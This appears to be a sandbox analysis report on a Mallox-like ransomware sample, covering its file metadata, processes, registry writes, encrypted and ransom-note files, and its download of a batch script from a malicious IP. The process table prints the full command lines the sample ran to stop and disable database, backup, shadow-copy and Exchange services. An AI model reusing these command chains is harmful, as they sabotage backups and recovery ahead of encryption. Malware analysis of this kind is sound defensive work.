- taskkill.exe (PID: 3516)
- taskkill.exe (PID: 1320)
- taskkill.exe (PID: 2672)
- taskkill.exe (PID: 2072)
- taskkill.exe (PID: 3768)
- taskkill.exe (PID: 1244)
- taskkill.exe (PID: 2852)
- taskkill.exe (PID: 1468)
- taskkill.exe (PID: 3796)
- taskkill.exe (PID: 2260)
- taskkill.exe (PID: 1584)
- taskkill.exe (PID: 188)
- taskkill.exe (PID: 2352)
- taskkill.exe (PID: 3968)
- taskkill.exe (PID: 2528)
- taskkill.exe (PID: 3692)
- taskkill.exe (PID: 4080)
- taskkill.exe (PID: 3532)
- taskkill.exe (PID: 2852)
- taskkill.exe (PID: 2612)
- taskkill.exe (PID: 716)
- taskkill.exe (PID: 952)
- taskkill.exe (PID: 2776)
- taskkill.exe (PID: 116)
- taskkill.exe (PID: 2328)
- taskkill.exe (PID: 3380)
- taskkill.exe (PID: 396)
- taskkill.exe (PID: 2312)
- taskkill.exe (PID: 4092)
- taskkill.exe (PID: 516)
- taskkill.exe (PID: 3160)
- taskkill.exe (PID: 3840)
- taskkill.exe (PID: 2176)
- taskkill.exe (PID: 376)
- taskkill.exe (PID: 2640)
- taskkill.exe (PID: 276)
- taskkill.exe (PID: 2420)
- taskkill.exe (PID: 1368)
- taskkill.exe (PID: 2584)
- taskkill.exe (PID: 1840)
- taskkill.exe (PID: 1376)
- taskkill.exe (PID: 3132)
- taskkill.exe (PID: 756)
- taskkill.exe (PID: 3824)
- taskkill.exe (PID: 2760)
- taskkill.exe (PID: 1808)
- taskkill.exe (PID: 1324)
- taskkill.exe (PID: 1572)
- taskkill.exe (PID: 3652)
- taskkill.exe (PID: 4072)
- taskkill.exe (PID: 2244)
- taskkill.exe (PID: 1616)
- taskkill.exe (PID: 516)
- taskkill.exe (PID: 1620)
- taskkill.exe (PID: 2976)
- taskkill.exe (PID: 404)
- taskkill.exe (PID: 468)
- taskkill.exe (PID: 3108)
- taskkill.exe (PID: 824)
- taskkill.exe (PID: 2888)
- taskkill.exe (PID: 3148)
- taskkill.exe (PID: 2384)
- taskkill.exe (PID: 4092)
- taskkill.exe (PID: 3688)
- taskkill.exe (PID: 2424)
- taskkill.exe (PID: 1420)
- taskkill.exe (PID: 508)
- taskkill.exe (PID: 2316)
- taskkill.exe (PID: 2908)
- taskkill.exe (PID: 3680)
- taskkill.exe (PID: 3784)
- taskkill.exe (PID: 2780)
- taskkill.exe (PID: 4072)
- taskkill.exe (PID: 2888)
- taskkill.exe (PID: 3532)
- taskkill.exe (PID: 2548)
- taskkill.exe (PID: 2600)
- taskkill.exe (PID: 3000)
- taskkill.exe (PID: 2372)
- taskkill.exe (PID: 1148)
- taskkill.exe (PID: 2420)
- taskkill.exe (PID: 3072)
- taskkill.exe (PID: 2752)
- taskkill.exe (PID: 2876)
- taskkill.exe (PID: 2880)
- taskkill.exe (PID: 1864)
- taskkill.exe (PID: 2496)
- taskkill.exe (PID: 988)
- taskkill.exe (PID: 3336)
- taskkill.exe (PID: 3864)
- taskkill.exe (PID: 2132)
- taskkill.exe (PID: 2932)
- taskkill.exe (PID: 128)
- taskkill.exe (PID: 3968)
- taskkill.exe (PID: 3580)
- taskkill.exe (PID: 3032)
- taskkill.exe (PID: 2560)
- taskkill.exe (PID: 2900)
- taskkill.exe (PID: 2696)
- taskkill.exe (PID: 908)
- taskkill.exe (PID: 2176)
- taskkill.exe (PID: 2752)
- taskkill.exe (PID: 376)
- taskkill.exe (PID: 2068)
- taskkill.exe (PID: 2888)
- taskkill.exe (PID: 4028)
- taskkill.exe (PID: 2316)
- taskkill.exe (PID: 1940)
- taskkill.exe (PID: 3484)
- taskkill.exe (PID: 2420)
- taskkill.exe (PID: 4072)
- taskkill.exe (PID: 3028)
- taskkill.exe (PID: 3512)
- taskkill.exe (PID: 3956)
- taskkill.exe (PID: 2508)
- taskkill.exe (PID: 2352)
- taskkill.exe (PID: 2980)
- taskkill.exe (PID: 3272)
- taskkill.exe (PID: 2692)
- taskkill.exe (PID: 2284)
- taskkill.exe (PID: 1516)
- taskkill.exe (PID: 188)
- taskkill.exe (PID: 3008)
- taskkill.exe (PID: 756)
- taskkill.exe (PID: 1408)
- taskkill.exe (PID: 2628)
- taskkill.exe (PID: 3392)
- taskkill.exe (PID: 1616)
- taskkill.exe (PID: 2556)
- taskkill.exe (PID: 2328)
- taskkill.exe (PID: 2520)
- taskkill.exe (PID: 1840)
- taskkill.exe (PID: 444)
- taskkill.exe (PID: 1808)
- taskkill.exe (PID: 3576)
- taskkill.exe (PID: 3164)
- taskkill.exe (PID: 3932)
- taskkill.exe (PID: 716)
- taskkill.exe (PID: 1332)
- taskkill.exe (PID: 3844)
- taskkill.exe (PID: 2136)
- taskkill.exe (PID: 2784)
- taskkill.exe (PID: 1728)
- taskkill.exe (PID: 2316)
- taskkill.exe (PID: 2992)
- taskkill.exe (PID: 3000)
- taskkill.exe (PID: 404)
- taskkill.exe (PID: 4092)
- taskkill.exe (PID: 2888)
- taskkill.exe (PID: 2908)
- taskkill.exe (PID: 1400)
- taskkill.exe (PID: 2692)
- taskkill.exe (PID: 1028)
- taskkill.exe (PID: 2188)
- taskkill.exe (PID: 3392)
- taskkill.exe (PID: 2640)
- taskkill.exe (PID: 2680)
- taskkill.exe (PID: 3544)
- taskkill.exe (PID: 2352)
- taskkill.exe (PID: 2064)
- taskkill.exe (PID: 2248)
- taskkill.exe (PID: 2200)
- taskkill.exe (PID: 2124)
- taskkill.exe (PID: 3876)
- taskkill.exe (PID: 2184)
- taskkill.exe (PID: 3516)
- taskkill.exe (PID: 2996)
- taskkill.exe (PID: 4080)
- taskkill.exe (PID: 408)
- taskkill.exe (PID: 376)
- taskkill.exe (PID: 1572)
- taskkill.exe (PID: 2732)
- taskkill.exe (PID: 560)
- taskkill.exe (PID: 2692)
- taskkill.exe (PID: 3992)
- taskkill.exe (PID: 1828)
- taskkill.exe (PID: 1244)
- taskkill.exe (PID: 2468)
- taskkill.exe (PID: 3276)
- taskkill.exe (PID: 3072)
- taskkill.exe (PID: 3616)
- taskkill.exe (PID: 2312)
- taskkill.exe (PID: 2984)
- taskkill.exe (PID: 1012)
- taskkill.exe (PID: 2904)
- taskkill.exe (PID: 3380)
- taskkill.exe (PID: 2172)
- taskkill.exe (PID: 1004)
- taskkill.exe (PID: 3340)
- taskkill.exe (PID: 1232)
- taskkill.exe (PID: 1844)
- taskkill.exe (PID: 2752)
- taskkill.exe (PID: 4016)
- taskkill.exe (PID: 3688)
- taskkill.exe (PID: 1904)
- taskkill.exe (PID: 3932)
- taskkill.exe (PID: 3516)
- taskkill.exe (PID: 2120)
- taskkill.exe (PID: 3336)
- taskkill.exe (PID: 3280)
- taskkill.exe (PID: 392)
- taskkill.exe (PID: 2180)
- taskkill.exe (PID: 3564)
- taskkill.exe (PID: 3040)
- taskkill.exe (PID: 2768)
- taskkill.exe (PID: 2508)
- taskkill.exe (PID: 1808)
- taskkill.exe (PID: 3628)
- taskkill.exe (PID: 1036)
- taskkill.exe (PID: 2652)
- taskkill.exe (PID: 2796)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Generic CIL Executable (.NET, Mono, etc.) (82.9) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (7.4) |
| .exe | | | Win32 Executable (generic) (5.1) |
| .exe | | | Generic Win/DOS Executable (2.2) |
| .exe | | | DOS Executable Generic (2.2) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2022:01:13 17:48:48+01:00 |
| PEType: | PE32 |
| LinkerVersion: | 48 |
| CodeSize: | 432640 |
| InitializedDataSize: | 6656 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x6b9ee |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.0.0.0 |
| ProductVersionNumber: | 1.0.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| Comments: | - |
| CompanyName: | - |
| FileDescription: | ram machine |
| FileVersion: | 1.0.0.0 |
| InternalName: | InternalCrossContextDelega.exe |
| LegalCopyright: | Copyright © 2015 |
| LegalTrademarks: | - |
| OriginalFileName: | InternalCrossContextDelega.exe |
| ProductName: | ram machine |
| ProductVersion: | 1.0.0.0 |
| AssemblyVersion: | 1.0.0.0 |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 13-Jan-2022 16:48:48 |
| Comments: | - |
| CompanyName: | - |
| FileDescription: | ram machine |
| FileVersion: | 1.0.0.0 |
| InternalName: | InternalCrossContextDelega.exe |
| LegalCopyright: | Copyright © 2015 |
| LegalTrademarks: | - |
| OriginalFilename: | InternalCrossContextDelega.exe |
| ProductName: | ram machine |
| ProductVersion: | 1.0.0.0 |
| Assembly Version: | 1.0.0.0 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000080 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 3 |
| Time date stamp: | 13-Jan-2022 16:48:48 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00002000 | 0x000699F4 | 0x00069A00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 7.61301 |
.rsrc | 0x0006C000 | 0x00001748 | 0x00001800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 5.22255 |
.reloc | 0x0006E000 | 0x0000000C | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ | 0.10191 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.00112 | 490 | Latin 1 / Western European | UNKNOWN | RT_MANIFEST |
Imports
mscoree.dll |
Total processes
1 197
Monitored processes
1 139
Malicious processes
25
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 1980 | "C:\Users\admin\AppData\Local\Temp\a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe" | C:\Users\admin\AppData\Local\Temp\a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | Explorer.EXE | |
User: admin Integrity Level: MEDIUM Description: ram machine Exit code: 0 Version: 1.0.0.0 | ||||
| 3568 | C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\F.bat" " | C:\Windows\system32\cmd.exe | — | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2552 | "C:\Users\admin\AppData\Local\Temp\a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe" | C:\Users\admin\AppData\Local\Temp\a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | |
User: admin Integrity Level: MEDIUM Description: ram machine Version: 1.0.0.0 | ||||
| 2036 | cmd /c "color b & a & net stop "SQLSERVERAGENT" & net stop "SQLBrowser" & net stop "SQLTELEMETRY" & net stop "MsDtsServer130" & net stop "SSISTELEMETRY130" & net stop "SQLWrite" & net stop "MSSQL$VEEAMSQL2012" & net stop "SQLAgent$VEEAMSQL2012" & net stop "MSSQL" & net stop "SQLAgent" & net stop "MSSQLServerADHelper100" & net stop "MSSQLServerOLAPService" & net stop "MsDtsServer100" & net stop "ReportServer" & net stop "SQLTELEMETRY$HL" & net stop "TMBMServer" & net stop "MSSQL$PROGID" & net stop "MSSQL$WOLTERSKLUWER" & net stop "SQLAgent$PROGID" & net stop "SQLAgent$WOLTERSKLUWER" & net stop "MSSQLFDLauncher$OPTIMA" & net stop "MSSQL$OPTIMA" & net stop "SQLAgent$OPTIMA" & net stop "ReportServer$OPTIMA" & net stop "msftesql$SQLEXPRESS" & net stop "postgresql-x64-9.4" & sc config "MSSQLFDLauncher" start= disabled & sc config "SQLSERVERAGENT" start= disabled & sc config "SQLBrowser" start= disabled & sc config "SQLTELEMETRY" start= disabled & sc config "MsDtsServer130" start= disabled & sc config "SSISTELEMETRY130" start= disabled & sc config "MSSQL$WOLTERSKLUWER" start= disabled & sc config "SQLAgent$PROGID" start= disabled " | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1060 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2440 | cmd /c "color b & a & sc config "SQLWriter" start= disabled & sc config "MSSQL$VEEAMSQL2012" start= disabled & sc config "SQLAgent$VEEAMSQL2012" start= disabled & sc config "MSSQL" start= disabled & sc config "SQLAgent" start= disabled & sc config "MSSQLServerADHelper100" start= disabled & sc config "MSSQLServerOLAPService" start= disabled & sc config "MsDtsServer100" start= disabled & sc config "ReportServer" start= disabled & sc config "SQLTELEMETRY$HL" start= disabled & sc config "TMBMServer" start= disabled & sc config "MSSQL$PROGID" start= disabled" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1060 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2696 | cmd /c "color b & taskkill /F /IM U8WorkerService.exe & taskkill /F /IM UFIDA.U8.ECE.UTU.Services.exe & taskkill /F /IM UFIDA.U8.UAP.ReportService.exe & taskkill /F /IM U8AllAuthServer.exe & taskkill /F /IM U8WebPool.exe & taskkill /F /IM U8TaskService.exe & taskkill /F /IM UFIDA.U8.Report.SLReportService.exe & taskkill /F /IM U8SCMPool.exe & taskkill /F /IM U8DispatchService.exe" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 128 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 1144 | cmd /c "color b & sc config MSSQLSERVER start=disabled & sc config "SQL Server (MSSQLSERVER)" start=disabled & net stop MSSQL$ & sc config MSSQL$ start=disabled & net stop SQLSERVERAGENT & sc config SQLSERVERAGENT start=disabled & net stop SQLBrowser & sc config SQLBrowser start=disabled & net stop vss & sc config vss start=disabled & net stop SQLWriter & sc config SQLWriter start=disabled & net stop vmvss & sc config vmvss start=disabled & sc config MSSQL$FE_EXPRESS start= disabled & net stop MSSQL$RE_EXPRESS & net stop SQLANYs_Sage_FAS_Fixed_Assets & sc config SQLANYs_Sage_FAS_Fixed_Assets start=disabled & net stop MSSQL$VIM_SQLEXP & sc config MSSQL$VIM_SQLEXP start=disabled & net stop "MSSQLFDLauncher" & net stop "MSSQLSERVER"" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 2 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2560 | cmd /c "color b & a & taskkill /F /IM Veeam.Backup.Agent.ConfigurationService.exe & taskkill /F /IM Veeam.Backup.BrokerService.exe & taskkill /F /IM Veeam.Backup.CatalogDataService.exe & taskkill /F /IM Veeam.Backup.CloudService.exe & taskkill /F /IM Veeam.Backup.Manager.exe & taskkill /F /IM Veeam.Backup.MountService.exe & taskkill /F /IM Veeam.Backup.Service.exe & taskkill /F /IM Veeam.Backup.WmiServer.exe & taskkill /F /IM Veeam.Guest.Interaction.Proxy.exe & taskkill /F /IM VeeamDeploymentSvc.exe & taskkill /F /IM VeeamNFSSvc.exe & taskkill /F /IM VeeamTransportSvc.exe & taskkill /F /IM sqlbrowser.exe & taskkill /F /IM sqlceip.exe & taskkill /F /IM sqlservr.exe & taskkill /F /IM sqlwriter.exe & taskkill /F /IM sqlagentc.exe & taskkill /F /IM ReportingServicesService.exe & taskkill /F /IM Ssms.exe & taskkill /F /IM fdhost.exe & taskkill /F /IM fdlauncher.exe & taskkill /F /IM MsDtsSrvr.exe & taskkill /F /IM msmdsrv.exe & taskkill /F /IM mysql.exe & taskkill /F /IM mysqld.exe & taskkill /F /IM w3wp.exe & taskkill /F /IM wsusservice.exe & taskkill /F /IM SageCSClient.exe & taskkill /F /IM UFSoft.U8.OC.QuartzScheduler.exe & taskkill /F /IM Launchpad.exe & taskkill /F /IM dbsrv12.exe & taskkill /F /IM EXCEL.EXE & taskkill /F /IM OUTLOOK.EXE & taskkill /F /IM WINWORD.EXE & taskkill /F /IM OneDrive.exe & taskkill /F /IM TaskService.exe" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 128 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 2008 | cmd /c "color b & a & net stop "MSOLAP$SHOPCONTROL9" & net stop "MSSQL$SHOPCONTROL9" & net stop "MSSQLFDLauncher$SHOPCONTROL9" & net stop "ReportServer$SHOPCONTROL9" & net stop "SQLAgent$SHOPCONTROL9" & net stop "NetBackup Client Service" & net stop "NetBackup Discovery Framework" & net stop "NetBackup Legacy Client Service" & net stop "NetBackup Legacy Network Service" & net stop "NetBackup Proxy Service" & net stop "NetBackup SAN Client Fibre Transport Service" & taskkill /IM mysqld-nt.exe /F & taskkill /IM NFVPrint.exe /F & taskkill /IM licenceserver.exe /F & taskkill /IM Launchpad.exe /F & taskkill /F /IM "FileZilla Server.exe" & taskkill /F /IM cbService.exe & taskkill /F /IM cbInterface.exe & taskkill /F /IM pvxwin32.exe & taskkill /F /IM pvxwin64.exe & taskkill /F /IM pvxcom.exe & taskkill /F /IM pvxiosvr.exe & taskkill /F /IM Sage.NA.AT_AU.SysTray.exe & taskkill /F /IM Sage.NA.AT_AU.Service.exe" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 128 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 3024 | cmd /c "color b & a & @taskkill /IM Tomcat7w.exe /F & @taskkill /IM "UFSoft.U8.OC.QuartzScheduler.exe" /F & @taskkill /IM UFSoft.U8.OC.QuartzScheduler.exe /F & @taskkill /IM Launchpad.exe /F & @taskkill /IM mpdwsvc.exe /F & @taskkill /IM cbVSCService11.exe /F & @taskkill /IM cbService.exe /F & @sc delete CobianBackup11 & @sc delete cbVSCService11 & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM "Kingdee.K3.CRM.MMC.AutoService.exe" /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM "Microsoft.SqlServer.IntegrationServices.MasterServiceHost.exe" /F & taskkill /F /IM store.exe & taskkill /F /IM MSExchangeMailboxReplication.exe & taskkill /F /IM Microsoft.Exchange.ProtectedServiceHost.exe & taskkill /F /IM MSExchangeThrottling.exe & taskkill /F /IM EdgeTransport.exe & taskkill /F /IM MSExchangeTransportLogSearch.exe & taskkill /F /IM Microsoft.Exchange.RpcClientAccess.Service.exe & taskkill /F /IM Microsoft.Exchange.AddressBook.Service.exe & taskkill /F /IM DataCollectorSvc.exe & taskkill /F /IM Microsoft.Exchange.ServiceHost.exe & taskkill /F /IM Microsoft.Exchange.ContentFilter.Wrapper.exe & taskkill /F /IM MSExchangeMailboxAssistants.exe & taskkill /F /IM msexchangerepl.exe & taskkill /F /IM Microsoft.Exchange.Search.ExSearch.exe & taskkill /F /IM Microsoft.Exchange.EdgeSyncSvc.exe & taskkill /F /IM MsExchangeFDS.exe & taskkill /F /IM MSExchangeMailSubmission.exe & taskkill /F /IM MSExchangeTransport.exe & taskkill /F /IM Microsoft.Exchange.AntispamUpdateSvc.exe" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 128 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
Total events
21 804
Read events
21 784
Write events
20
Delete events
0
Modification events
| (PID) Process: | (1980) a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (1980) a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (1980) a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (1980) a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (1980) a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (1980) a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (1980) a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (1980) a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (1980) a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (1980) a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
Executable files
0
Suspicious files
121
Text files
57
Unknown types
10
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2552 | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | C:\Users\admin\Desktop\referencesshoes.rtf | binary | |
MD5:68DCC231DFCD1F10EDCEAAD399A55BCA | SHA256:82FEFB0472231F8C2521E1BAB34E4C8B44ECF18CC423F1D08AF57FDADD3B24FF | |||
| 2552 | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | C:\Users\admin\Contacts\admin.contact.mallox | binary | |
MD5:73CCB96D1591772A4A2F7053FEF8A933 | SHA256:30588D2D687B495F2C5E3319A61152C731F08E04B5088396D7F91C4E8923E98B | |||
| 2552 | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | C:\Users\admin\.oracle_jre_usage\RECOVERY INFORMATION.txt | text | |
MD5:226C5ED499A6AA7B4FFFFFCEC3A7C13C | SHA256:D88EF7F07AECEDF7E2335300250C971C3493A1003A2940830D25AD30444E953D | |||
| 2552 | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | C:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-1000\RECOVERY INFORMATION.txt | text | |
MD5:226C5ED499A6AA7B4FFFFFCEC3A7C13C | SHA256:D88EF7F07AECEDF7E2335300250C971C3493A1003A2940830D25AD30444E953D | |||
| 2552 | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | C:\Users\admin\Desktop\incomeapplied.rtf | binary | |
MD5:8C0DFC0E09C7D6F3CFBFE48EEEFBB421 | SHA256:5038E77B0510B68942FBE700512CBEC977FB0D6078D24D856384C0A54F8765AD | |||
| 2552 | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | C:\Users\admin\Contacts\RECOVERY INFORMATION.txt | text | |
MD5:226C5ED499A6AA7B4FFFFFCEC3A7C13C | SHA256:D88EF7F07AECEDF7E2335300250C971C3493A1003A2940830D25AD30444E953D | |||
| 2552 | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | C:\Users\admin\Contacts\admin.contact | binary | |
MD5:73CCB96D1591772A4A2F7053FEF8A933 | SHA256:30588D2D687B495F2C5E3319A61152C731F08E04B5088396D7F91C4E8923E98B | |||
| 2552 | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | C:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp | binary | |
MD5:35702085EF3AC68BFD31C4B3635CF80A | SHA256:E9BD7B89A96650BFB6D4A881EB238FEBAE0D4718329C7001E6933DE4E5704377 | |||
| 2552 | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | C:\Users\admin\Desktop\incomeapplied.rtf.mallox | binary | |
MD5:8C0DFC0E09C7D6F3CFBFE48EEEFBB421 | SHA256:5038E77B0510B68942FBE700512CBEC977FB0D6078D24D856384C0A54F8765AD | |||
| 2552 | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | C:\Users\admin\Desktop\RECOVERY INFORMATION.txt | text | |
MD5:226C5ED499A6AA7B4FFFFFCEC3A7C13C | SHA256:D88EF7F07AECEDF7E2335300250C971C3493A1003A2940830D25AD30444E953D | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
10
DNS requests
0
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1980 | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | GET | 200 | 91.243.44.32:80 | http://91.243.44.32/F.bat | RU | text | 40.3 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1980 | a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb.exe | 91.243.44.32:80 | — | Foxcloud Llp | RU | malicious |
— | — | 192.168.100.2:445 | — | — | — | whitelisted |
— | — | 192.168.100.2:139 | — | — | — | whitelisted |
DNS requests
Threats
3 ETPRO signatures available at the full report